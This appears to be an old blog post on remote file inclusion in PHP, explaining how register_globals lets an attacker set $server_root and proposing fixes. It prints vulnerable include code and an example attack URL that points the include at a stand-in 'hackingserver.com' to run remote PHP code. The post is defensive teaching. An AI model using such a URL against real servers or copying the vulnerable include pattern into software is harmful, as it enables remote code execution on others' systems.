The #1 Security Flaw in PHP Applications

Jun 14, 04:29 pm
tags: , ,

The Open Web Application Security Project released a document describing the top 10 security issues in web applications. David Sklar gave some practical examples of these vulnerabilities in PHP applications. There is one item I find missing from the list however and it is what I consider the top security flaw in PHP applications.

Remote Command Execution is a serious threat to web applications and is one of the most common flaws found in PHP applications. In short, it allows a remote attacker to run commands on the server. Here’s a brief demonstration of how it works. Let’s say you have three PHP files: index.php, config.php, and include.php.

<?php
// index.php
include('config.php');
include('include.php');
//do whatever
?>
<?php
//config.php
$server_root = '/my/path';
?>
<?php
//include.php
include($server_root . '/someotherfile.php');
//do some other things
?>

Now, the problem lies in the include.php file. The programmer has assumed that $server_root will always be set from the value in the config.php file (because both config.php and include.php are included in index.php). What the programmer has not taken into account is that if someone calls the include.php file directly from their web browser, they can set $server_root to whatever value they wish.

If I were to call include.php directly with something like:

http://yourwebserver.com/include.php?server_root=http://hackingserver.com/command.txt?

What would the include line in include.php look like once the data I passed in was populated in the $server_root variable?

include('http://hackingserver.com/command.txt?/someotherfile.php');

As you can see, whatever text I happen to return from my server, will now be included in the programmer’s code. This can include any PHP code I wish to execute on your server!

Now, how do you fix this? Well, a simple method would be to see if the variable in question has been set by the web browsing user. Checking for its existence in the $_REQUEST super-global should do the trick.

<?php
//include.php (improved)
if(isset($_REQUEST['server_root'])) die('You are trying to hack me');
include($server_root . '/someotherfile.php');
//do some other things
?>

Now, if someone tries to set the $server_root variable, the script will not run.

An even better way to fix this is to turn off register_globals in the php.ini file. Unfortunately many people on shared hosting are unable to turn this off in the php.ini file. Not to worry! If your host has given you the ability to use a .htaccess file, you might be able to turn it off that way. Place the following in a .htaccess file in the root of your web space.

php_flag register_globals off

With register_globals off, you have to reference a variable passed in from the query string as $_GET[‘server_root’], so the remote code execution flaw goes away.

Now, check your applications and make sure they aren’t vulnerable!




Add your comments

Please keep your comments relevant to this blog entry: inappropriate or purely promotional comments may be removed. To add hyperlink, please follow this example: "your link text":http://your.link.url